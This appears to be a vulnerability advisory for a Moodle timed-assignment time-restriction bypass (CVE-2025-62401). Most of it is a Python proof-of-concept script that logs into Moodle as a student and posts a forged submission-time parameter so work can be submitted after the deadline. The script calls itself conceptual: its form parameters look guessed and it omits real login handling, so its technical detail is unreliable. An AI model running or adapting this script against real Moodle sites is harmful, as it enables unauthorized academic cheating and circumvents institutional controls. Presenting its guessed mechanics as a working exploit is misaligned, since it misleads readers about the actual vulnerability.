An issue in Moodle’s timed assignment feature allowed students to bypass the time restriction, potentially giving them more time than allowed to complete an assessment.
Moodle LMS (all versions prior to patched release)
Red Hat Enterprise Linux 7.x (via Red Hat Bugzilla #2404434)
Specific affected versions should be verified against Moodle's official security advisories
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62401 PoC - Moodle Timed Assignment Time Restriction Bypass
# This PoC demonstrates the time restriction bypass in Moodle's timed assignment feature
import requests
import time
from datetime import datetime, timedelta
# Configuration
TARGET_URL = "https://vulnerable-moodle-site.com"
USERNAME = "student_user"
PASSWORD = "student_password"
ASSIGNMENT_ID = "12345" # The timed assignment ID
def login(session, url, username, password):
"""Authenticate to Moodle and obtain session cookie"""
login_url = f"{url}/login/index.php"
data = {
"username": username,
"password": password
}
response = session.post(login_url, data=data)
return "MoodleSession" in session.cookies
def bypass_time_restriction(session, url, assignment_id):
"""
Attempt to bypass the timed assignment time restriction.
This method manipulates the submission time parameters.
"""
# Step 1: Access the assignment submission page
submission_url = f"{url}/mod/assign/view.php?id={assignment_id}"
response = session.get(submission_url)
# Step 2: Extract the submission form and hidden parameters
# In a real attack, analyze the form to find time-related parameters
# Step 3: Modify the time parameters to bypass restriction
# This is a conceptual PoC - actual implementation requires
# analyzing the specific Moodle version's form parameters
submit_url = f"{url}/mod/assign/view.php"
# Attempt to manipulate submission time
manipulated_data = {
"id": assignment_id,
"action": "submit",
"timeallocation": (datetime.now() - timedelta(hours=1)).isoformat(),
"_qf__mod_assign_submission_form": "1"
}
response = session.post(submit_url, data=manipulated_data)
# Step 4: Verify if submission was accepted after deadline
if response.status_code == 200:
if "successfully" in response.text.lower() or "submitted" in response.text.lower():
print("[+] Time restriction bypassed successfully!")
print("[+] Assignment submitted after the deadline")
return True
else:
print("[-] Bypass attempt failed - time restriction enforced")
return False
else:
print(f"[-] Request failed with status code: {response.status_code}")
return False
def main():
print("=" * 60)
print("CVE-2025-62401 PoC - Moodle Timed Assignment Bypass")
print("=" * 60)
session = requests.Session()
# Authenticate
print("\n[*] Logging in to Moodle...")
if not login(session, TARGET_URL, USERNAME, PASSWORD):
print("[-] Authentication failed")
return
print("[+] Authentication successful")
# Attempt bypass
print("\n[*] Attempting to bypass time restriction...")
result = bypass_time_restriction(session, TARGET_URL, ASSIGNMENT_ID)
if result:
print("\n[!] VULNERABLE: The target is affected by CVE-2025-62401")
else:
print("\n[+] NOT VULNERABLE or patch applied")
if __name__ == "__main__":
main()
# Note: This is a conceptual PoC for educational and security testing purposes only.
# Actual exploitation requires understanding the specific Moodle version and
# its implementation of the timed assignment feature.